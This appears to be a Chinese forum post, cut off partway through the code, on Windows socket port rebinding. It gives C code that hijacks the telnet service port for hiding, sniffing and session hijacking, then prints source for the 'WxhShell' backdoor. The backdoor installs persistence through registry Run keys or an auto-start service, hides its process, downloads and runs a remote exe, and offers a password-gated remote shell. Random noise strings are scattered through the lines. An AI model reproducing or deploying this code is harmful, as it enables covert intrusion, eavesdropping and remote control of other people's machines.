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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x1</%y5ev  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D*BZp0x  
A(G%9'T  
  saddr.sin_family = AF_INET; @^]wT_r  
a|rN %hA4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); . >[d:0  
PnkJ Wl<S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &NZl_7P L  
Dn~r~aR$g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g"aWt% P  
5S`_q&  
  这意味着什么?意味着可以进行如下的攻击: %Z9&zmO  
_L 5<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wZB:7E%  
"} =RPc%9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5Z"IM8?  
(?R;u>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A/V"&H[  
4Gz5Ju  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /orpQUHA  
Bu|U z0Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +@*}_%^l"  
; ^+#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )c|S)iJ7=z  
rP$vZ^/c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uG<VQ2LM  
-7jP'l=h  
  #include xS.Rpx/8  
  #include -+MGs]),  
  #include K5l#dl_T  
  #include    >d#oJ?goX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;VM',40  
  int main() /8m2oL\<  
  { oVi_X98R  
  WORD wVersionRequested; [4qCW{x._  
  DWORD ret; 5A|4  
  WSADATA wsaData; T'YHV}b}vX  
  BOOL val; },1**_#<Br  
  SOCKADDR_IN saddr; >6 p <n  
  SOCKADDR_IN scaddr; BC!n;IAe  
  int err; r=57,P(:Ca  
  SOCKET s; [t)omPy<c  
  SOCKET sc; p#-ov-znp  
  int caddsize; yWS #{| o(  
  HANDLE mt; -^A=U7  
  DWORD tid;   $xx5+A%,  
  wVersionRequested = MAKEWORD( 2, 2 ); ?l\1n,!:8  
  err = WSAStartup( wVersionRequested, &wsaData ); !r=^aa(\  
  if ( err != 0 ) { 9{OH%bF  
  printf("error!WSAStartup failed!\n"); >| d^  
  return -1; [h"#Gwb=;  
  } agQ5%t#  
  saddr.sin_family = AF_INET; /cmnX'z  
   O_ }ZSB8"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X`,4pSQ;  
/t "p^9!^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r 5$(  
  saddr.sin_port = htons(23); L,@O OBD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q;I`&JK  
  { Z=;+) #,  
  printf("error!socket failed!\n"); s3G\L<~mB  
  return -1; Y~RZf /`  
  } c[=%v]j:u  
  val = TRUE; F~Kd5-I@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zs+[Aco)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E\M{/.4 4  
  { OtopA)  
  printf("error!setsockopt failed!\n"); H>AzxhX[n  
  return -1; 2>{_O?UN  
  } ] o!#]]   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )g4oUZDF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X,- ' v[z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d6lhA7  
!'14mN#A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vP G!S{4  
  { {$iJYS\  
  ret=GetLastError(); {HqwpB\@  
  printf("error!bind failed!\n"); !$q1m@K1  
  return -1; _/[n/"gn  
  } nsyg>=j  
  listen(s,2); 5H6GZ:hp  
  while(1) "X']_:F1a  
  { 39!o!_g  
  caddsize = sizeof(scaddr); PVO9KWv**  
  //接受连接请求 oH+UuP2a-J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;(w=}s%]+  
  if(sc!=INVALID_SOCKET) YtQKsM  
  { da@y*TO#i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;{|a~e?Y  
  if(mt==NULL) Vvx(7p-GQ  
  { <$.KCLP  
  printf("Thread Creat Failed!\n"); V,qZF=}S  
  break; |Y<ca   
  } C# r_qn  
  } /x_C  
  CloseHandle(mt); ?Di, '  
  } ej,MmLu~^  
  closesocket(s); hvBuQuk)  
  WSACleanup(); f/)3b`$Wu  
  return 0; |xzqYu?o  
  }   yh_s(>sh  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7>{edNy!,  
  { P's<M  
  SOCKET ss = (SOCKET)lpParam; +2oZB]GPL  
  SOCKET sc; F dv&kK!  
  unsigned char buf[4096]; nVG\*#*]|  
  SOCKADDR_IN saddr; p)ZlQ.d#Y  
  long num; {(wV>Oc>Jw  
  DWORD val; y<F$@  
  DWORD ret; ]CC= \ <  
  //如果是隐藏端口应用的话,可以在此处加一些判断 62EJ# q[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @ x*#7Y  
  saddr.sin_family = AF_INET; F__>`Do l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); svpWABO  
  saddr.sin_port = htons(23); <O$'3 _S"D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~73"AWlp  
  { jZv8X 5i  
  printf("error!socket failed!\n"); $ O!f*lG  
  return -1; Q,\lS  
  } 8KWT d  
  val = 100; XQ(`8Jl&^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2L<TqC{,-  
  { `ss]\46>  
  ret = GetLastError(); 1rPeh{SZ  
  return -1; A#1y>k  
  } !.t'3~dUf$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {bETHPCf  
  { 3SIB #"9  
  ret = GetLastError(); h]EXD   
  return -1; &I(|aZx?J  
  } r)j#Skh].  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BC$In!  
  { W>@%d`>o5  
  printf("error!socket connect failed!\n"); Z<,gSut'Y  
  closesocket(sc); [/#n+sz.A  
  closesocket(ss); j|aT`UH03  
  return -1; %Vt@7SwRJ  
  } /asyj="N7  
  while(1) 0_]aF8j  
  { %!.rP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1~`g fHI4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V)(pe #P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]`4 QJ ;#  
  num = recv(ss,buf,4096,0); ptDA))7M/  
  if(num>0) +$ -#V   
  send(sc,buf,num,0); b6/:reH{  
  else if(num==0) t o?"{  
  break; t!iF(R\  
  num = recv(sc,buf,4096,0); dJ&s/Z/>E  
  if(num>0) fglZjT  
  send(ss,buf,num,0); rRt<kTk!U  
  else if(num==0) ;q^YDZ'  
  break; =:0(&NCRq  
  } /gdo~  
  closesocket(ss); mE7Jv)@  
  closesocket(sc); Y zvtxX*  
  return 0 ; 9E#(iP  
  } L"-&B$B:  
hWW<]qzA,  
plIx""a^h  
========================================================== Q?;ntzi  
HZ}'W<N  
下边附上一个代码,,WXhSHELL bG&qgbN>  
{vH8X(m  
========================================================== $Yxy(7d7w  
R 1b`(  
#include "stdafx.h" ropiyT9;  
.R"L$V$RU.  
#include <stdio.h> sI'HS+~pU  
#include <string.h> VA%i_P,  
#include <windows.h> Dm^kuTIG  
#include <winsock2.h> P3|<K-dFAK  
#include <winsvc.h> atAA[~  
#include <urlmon.h> NNdS:(  
'ng/A4  
#pragma comment (lib, "Ws2_32.lib") ~S6N'$^  
#pragma comment (lib, "urlmon.lib") j%h Y0   
/Rz,2jfRx'  
#define MAX_USER   100 // 最大客户端连接数 )5v .9N 6v  
#define BUF_SOCK   200 // sock buffer ]>,|v,i =  
#define KEY_BUFF   255 // 输入 buffer ?n+\T'f!  
Y|~>(  
#define REBOOT     0   // 重启 zK92:+^C   
#define SHUTDOWN   1   // 关机 z~5'p(|@f  
w6Q]?p+  
#define DEF_PORT   5000 // 监听端口 FHC7\#p/9Z  
DIAP2LR ?  
#define REG_LEN     16   // 注册表键长度 5S? yj  
#define SVC_LEN     80   // NT服务名长度 &$Lm95  
 gk#rA/x  
// 从dll定义API iE`aGoA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jg8P4s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uy:.m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T1&H!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t_dg$KB  
hzb|:  
// wxhshell配置信息 LfApVUm  
struct WSCFG { %R>S"  
  int ws_port;         // 监听端口 A{%;Hd`0/  
  char ws_passstr[REG_LEN]; // 口令 ~4<3`l=A  
  int ws_autoins;       // 安装标记, 1=yes 0=no mg(56)  
  char ws_regname[REG_LEN]; // 注册表键名 L />GYx  
  char ws_svcname[REG_LEN]; // 服务名 h)vTu%J:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5aNDW'z`f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (^9M9+L[i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WRyLpTr-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3(&F.&C$$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -pu\p-Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )M 0O=Cl1  
^nF$<#a  
}; &:*+p-!2<  
qS|VUy4  
// default Wxhshell configuration JUFO.m^w  
struct WSCFG wscfg={DEF_PORT, UD`Z;F  
    "xuhuanlingzhe", uLljM{ I  
    1, nj`q V  
    "Wxhshell", 4/WCs$  
    "Wxhshell", 2v1&%x:y#  
            "WxhShell Service", :<8V2  
    "Wrsky Windows CmdShell Service", VBJ]d|  
    "Please Input Your Password: ", =_J<thp  
  1, -%l, Zd9  
  "http://www.wrsky.com/wxhshell.exe", Ue:T3jp 3%  
  "Wxhshell.exe" h_yR$H&tX  
    }; y(h(mr  
_ n4ma  
// 消息定义模块 @ -d4kg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ss8v4@C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L0  2~FT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *+4iBpyiB  
char *msg_ws_ext="\n\rExit."; 0\nhg5]?  
char *msg_ws_end="\n\rQuit."; Qmx~_  
char *msg_ws_boot="\n\rReboot..."; _ D}b  
char *msg_ws_poff="\n\rShutdown..."; Ec*7n6~9  
char *msg_ws_down="\n\rSave to "; "mDrJTWa  
1/+r?F 3  
char *msg_ws_err="\n\rErr!"; ^>{;9 lo<  
char *msg_ws_ok="\n\rOK!"; kQlcT"R  
,ri--<  
char ExeFile[MAX_PATH]; l]y%cJ~$'D  
int nUser = 0; L)Ar{*xC  
HANDLE handles[MAX_USER]; \1C!,C  
int OsIsNt; E(+wl  
W<]Oo]  
SERVICE_STATUS       serviceStatus; P\6T4s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~<[5uZIo  
x0$:"68PW  
// 函数声明 OVSq8?L  
int Install(void); gs8@b5 RSb  
int Uninstall(void); vP)~j1  
int DownloadFile(char *sURL, SOCKET wsh); )TG0m= *  
int Boot(int flag); FK >8kC  
void HideProc(void); YkAWKCOni  
int GetOsVer(void); NV(4wlh)y  
int Wxhshell(SOCKET wsl); 4U;XqUY /  
void TalkWithClient(void *cs); MGKeD+=5  
int CmdShell(SOCKET sock); "M0l;  
int StartFromService(void); IetGg{h.  
int StartWxhshell(LPSTR lpCmdLine);  53*, f  
~G:2iSi(#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J}_Dpb[L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /A))"D  
;(0$~O$3u  
// 数据结构和表定义 ~ 9~\f  
SERVICE_TABLE_ENTRY DispatchTable[] = (yAvDyJOn  
{ FO>(QLlH  
{wscfg.ws_svcname, NTServiceMain}, agU!D[M_G  
{NULL, NULL} /j69NEl  
}; [gns8F#H\  
ZWhmO=b!  
// 自我安装 8u5 'g1M  
int Install(void) chMc(.cN0  
{ [H:GKhPC`  
  char svExeFile[MAX_PATH]; >"<k8wn  
  HKEY key; 69j~?w)^  
  strcpy(svExeFile,ExeFile); ~z _](HKoS  
[aM'  
// 如果是win9x系统,修改注册表设为自启动 Xz .Y-5)  
if(!OsIsNt) { SM /ykk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6^IqSNn-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d:<H?~  
  RegCloseKey(key); 87pXv6'FQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^g-t#O lD?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^*x Hy`  
  RegCloseKey(key); Ds%&Mi  
  return 0; |!?WQ[  
    } oAZF3h]po  
  } ]dbSa1?  
} $S=~YzO  
else { 2Jo~m_  
^>X)"'0+  
// 如果是NT以上系统,安装为系统服务 95^i/6Gl!P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qQxA@kdd  
if (schSCManager!=0) O%JsUKV  
{ U7B/t3,=U  
  SC_HANDLE schService = CreateService 9XoQO9*Q  
  ( "7yNKO;W  
  schSCManager, sP?$G8-^  
  wscfg.ws_svcname, *|k;a]HT  
  wscfg.ws_svcdisp, 2\nN4WL 5.  
  SERVICE_ALL_ACCESS, F?8BS*r_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UIf ZPf=  
  SERVICE_AUTO_START, -!|WZ   
  SERVICE_ERROR_NORMAL, cZgMA8 F  
  svExeFile, 7Y32p'  
  NULL, )>y k-  
  NULL, v0Ai!#  
  NULL, *!g 24  
  NULL, kYxl1n v  
  NULL 8VP"ydg-U  
  ); zUs~V`0  
  if (schService!=0) ^Ue0mC7m  
  { nw0L1TP/J  
  CloseServiceHandle(schService); )d +hZ'  
  CloseServiceHandle(schSCManager); hhpv\1h#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l]_b;iux  
  strcat(svExeFile,wscfg.ws_svcname); WHUT/:?f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #M5_em4kN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K4!P'  
  RegCloseKey(key); u R\m`  
  return 0; 6ORY`Pe7P|  
    } ~n[b^b  
  } ~{kM5:-iw  
  CloseServiceHandle(schSCManager); a-]hW=[  
} >1x7UXs~:  
} ch@x]@-;A3  
E"#Xc@  
return 1; -f9]v9|l  
} b{M}5~e=B  
#f*g]p{   
// 自我卸载 @*(4dt:V  
int Uninstall(void) K"\MU  
{ ',{7% G9  
  HKEY key; (#|{%4g@>  
J-V49X#  
if(!OsIsNt) { /syVGmS'M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )DT|(^  
  RegDeleteValue(key,wscfg.ws_regname); m!O;>D  
  RegCloseKey(key); J[@um:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &:3Z.G  
  RegDeleteValue(key,wscfg.ws_regname); U>P|X=)  
  RegCloseKey(key); ,%W<O.  
  return 0; brSi<  
  } \:v$ZEDJ>  
} 88lxHoPV  
} he$XLTmr:  
else { Wto ;bd  
?WpenUWk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _M t Qi  
if (schSCManager!=0) p!zJ;rh)  
{ KrcgIB8X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rNlW7 Y  
  if (schService!=0) zl%>`k!>  
  { ~@4'HMQ  
  if(DeleteService(schService)!=0) { 'O?~p55T  
  CloseServiceHandle(schService); &aG*k*  
  CloseServiceHandle(schSCManager); DCQ^fZ/  
  return 0; ;%Hf)F  
  } uD9|.P}  
  CloseServiceHandle(schService); h}L}[   
  } rwE%G>Vb  
  CloseServiceHandle(schSCManager); LL*mgTQ  
} @=Fi7M  
} \or G63T:  
{9LWUCpsf  
return 1; O+~ 7l?o  
} ]zfG~^.  
v jT( Q  
// 从指定url下载文件 p'94SXO_  
int DownloadFile(char *sURL, SOCKET wsh) # 1.YKo  
{ IMGP'g  
  HRESULT hr; %rkk>m  
char seps[]= "/"; +q<B.XxkA  
char *token; TsQU6NNE  
char *file; iK()&TNz  
char myURL[MAX_PATH]; [KJ q  
char myFILE[MAX_PATH]; %^]?5a!  
t*XN_=E$f  
strcpy(myURL,sURL); #z'uRHx%=0  
  token=strtok(myURL,seps); 1|r,dE2k9  
  while(token!=NULL) 9uk<&nqx  
  { O,@~L$a:YZ  
    file=token; ,u9M<B<F  
  token=strtok(NULL,seps); K(}AX+rIg  
  } 0k,-;j,  
Z{6kWA3Kk  
GetCurrentDirectory(MAX_PATH,myFILE); @`36ku  
strcat(myFILE, "\\"); jE2}p-2Q0  
strcat(myFILE, file); n(seNp%_  
  send(wsh,myFILE,strlen(myFILE),0); KhbYr$  
send(wsh,"...",3,0); a>O9pX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8flOq"uK^  
  if(hr==S_OK) M<PIeKIEB  
return 0; Z4hrn::  
else @=j WHS  
return 1; :Y,BdU  
G q<X4C#|  
} }~K`/kvs  
.xhK'}l[  
// 系统电源模块 `o]g~AKX  
int Boot(int flag) 5{e,L>H<  
{ l:#-d.z#  
  HANDLE hToken; ?<Wb@6kh`  
  TOKEN_PRIVILEGES tkp; 7{@l%jx][  
8mTM$#\  
  if(OsIsNt) { 0+Ta%H{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HB+|WW t>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @yd4$Mv8%  
    tkp.PrivilegeCount = 1; Q\ /uKQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;V^pL((5J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tGA :[SP  
if(flag==REBOOT) { ML;*e"$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7 >iU1zy  
  return 0; 'r1LSht'  
} #U8rO;$  
else { ~x#w<0e>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qd3Q}Lk  
  return 0; ~'37`)]z  
} FR2= las"z  
  } 3(TsgP >`  
  else { 2(5ebe[  
if(flag==REBOOT) { STZPYeXE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JSh.]j<bJL  
  return 0; T91moRv  
} sf&]u;^DY  
else { .ERO|$fv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "&Po,AWa  
  return 0; *5w{8  
} uqz]J$  
} O G<,- 7  
{uzf"%VtP  
return 1; >pUtwIP  
} |rmg#;/D  
PkI:*\R  
// win9x进程隐藏模块 quY:pqG38q  
void HideProc(void) \&U>LwZd?  
{ N F)~W#  
w] N!S;<N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l;o1 d-n]  
  if ( hKernel != NULL ) 4apL4E"r  
  { /Q,mJ.CnSR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (5]}5W*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vWAL^?HUP  
    FreeLibrary(hKernel); Lemui)  
  } U&O: _>~  
J2:y6kGj>  
return; '7O3/GDK  
} t!RiUZAo  
v:H$<~)E|  
// 获取操作系统版本 ]+X@ 7  
int GetOsVer(void) iLSr*` o  
{ c38D}k^):  
  OSVERSIONINFO winfo; 21"1NJzP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Rl6g9}  
  GetVersionEx(&winfo); s{1sE)_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HTG%t/S  
  return 1; ](hE^\SC  
  else ob8qe,_'  
  return 0; -B +4+&{T  
} eio 4k-  
M3.do^ss  
// 客户端句柄模块 <Y}R#o1Z  
int Wxhshell(SOCKET wsl) }}59V&'t  
{ 7 qS""f7  
  SOCKET wsh; n rjE.+v  
  struct sockaddr_in client; >7 ="8  
  DWORD myID; $&=S#_HQS  
JD|=>)  
  while(nUser<MAX_USER) ?` ?)QE8  
{ ]9^sa-8  
  int nSize=sizeof(client); mHRiugb!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FYpzQ6s~  
  if(wsh==INVALID_SOCKET) return 1; ^~etm  
m^zUmrj[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y+NN< EY@  
if(handles[nUser]==0) y gz6C  
  closesocket(wsh); tS6qWtE  
else (JOgy .5C~  
  nUser++; [1S|dc>.O%  
  } Vh4X%b$TV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bx< <~[Ws}  
*_d7E   
  return 0; %lGl,me H  
} gDpVeBd[  
"]} bFO7C  
// 关闭 socket ;{N!Eb`S  
void CloseIt(SOCKET wsh) {ttysQ-  
{ _z|65H  
closesocket(wsh); \| 8  
nUser--; |IzPgC  
ExitThread(0); ?I@W:#>o  
} 3%ZOKb"D*  
jalg5`PU0  
// 客户端请求句柄 VU d\QR-  
void TalkWithClient(void *cs) Wiu"k%Qsh  
{ @{O`E^}-D  
C73 kJa  
  SOCKET wsh=(SOCKET)cs; e)O 4^#i  
  char pwd[SVC_LEN]; $p?aVO  
  char cmd[KEY_BUFF]; 9*?oYm;dX  
char chr[1]; H'hpEw G  
int i,j; Eg3q!J&Z  
p"ZG%Ow5Q]  
  while (nUser < MAX_USER) { v-_e)m^  
=zKM=qba  
if(wscfg.ws_passstr) { ?m? ::RH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d4c8~L H-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )f<z% :I+Z  
  //ZeroMemory(pwd,KEY_BUFF); 8q}q{8  
      i=0; 5S--'=fu+  
  while(i<SVC_LEN) { ^RtIh-Z.9  
k{SAvKx=  
  // 设置超时 4u5-7[TZ  
  fd_set FdRead; Y\?"WGL)p  
  struct timeval TimeOut; -:y,N 9^  
  FD_ZERO(&FdRead); ByNn  
  FD_SET(wsh,&FdRead); JHTSUq  
  TimeOut.tv_sec=8; Vt&2z)Zz  
  TimeOut.tv_usec=0; Y^EcQzLw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =.]4;z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xRLT=.ir  
Q:k}Jl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <+vw@M  
  pwd=chr[0]; S2GxV/E  
  if(chr[0]==0xd || chr[0]==0xa) { f5VLw`m}.8  
  pwd=0; |_aa&v~  
  break; uH- l%17  
  } Fgh_9S9J  
  i++; )g#T9tx2D  
    } !/i{l  
CxOob1@  
  // 如果是非法用户,关闭 socket mQ 26K~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); co|aC!7  
} ywm8N%]v  
.Una+Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rgtT~$S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W^LY'ypT  
c"V"zg22  
while(1) { f=gW]x7'R+  
J({Xg?  
  ZeroMemory(cmd,KEY_BUFF); ca*DZG/  
>T3-  
      // 自动支持客户端 telnet标准   x '>9d  
  j=0; ]e>w }L(gV  
  while(j<KEY_BUFF) { }1i`6`y1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^{;oM^Q'  
  cmd[j]=chr[0]; ][h%UrV  
  if(chr[0]==0xa || chr[0]==0xd) { (WO]Xq<  
  cmd[j]=0; {xB!EQ"  
  break; aPfO$b:  
  } q{I%Q)t)gU  
  j++; cyv`B3}  
    } sn$9Shgh  
ju8q?Nyhs  
  // 下载文件 >xYpNtEs  
  if(strstr(cmd,"http://")) { 0c'<3@39k|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )E@.!Ut4o  
  if(DownloadFile(cmd,wsh)) i&66Fi1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j(_[z|v3  
  else `nv~NLkl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i8[t=6Rm@  
  } 5Y'qaIFR  
  else { |w1Bq  
_j/<{vSy  
    switch(cmd[0]) { wb5baY9  
  w?k>:,'[  
  // 帮助 zrL$]Oy}x  
  case '?': { m}aB?+i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ," Wr"  
    break; RJ ||}5  
  } NI}yVV  
  // 安装 [.'|_l  
  case 'i': { Ng>5?F^v  
    if(Install()) bv9i*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (vPN5F  
    else _jI,)sr4ic  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AOWmzu{zw  
    break; |\<`Ib4j  
    } ~'iHo]9O  
  // 卸载 '()xHEGl3  
  case 'r': { }=UHbU.n~!  
    if(Uninstall()) ?'Xj g#}<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2dHH^  
    else $@Rxrx_@M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #ASz;$P  
    break; U;V7 u/{  
    } 9T}pT{~V  
  // 显示 wxhshell 所在路径 '(VJ&UlS2  
  case 'p': { KRLQ #,9  
    char svExeFile[MAX_PATH]; WJndoB.f[2  
    strcpy(svExeFile,"\n\r"); 1i"WDu*h3  
      strcat(svExeFile,ExeFile); 5k3n\sqZA  
        send(wsh,svExeFile,strlen(svExeFile),0); <fjX[l<Uz  
    break; {3p4:*}  
    } Av$^  
  // 重启 7 60Y$/Wz  
  case 'b': { z8~NZ;A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \oXpi$  
    if(Boot(REBOOT)) +p_CN*10H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I^]2K0+x x  
    else { yw[g!W  
    closesocket(wsh); NP#w +Qw  
    ExitThread(0); ;%5N%0,  
    } YTpSHpf@  
    break; )uIe&B  
    } ?)?Ng}  
  // 关机 ;| 5F[  
  case 'd': { Ar|0b}=)>  
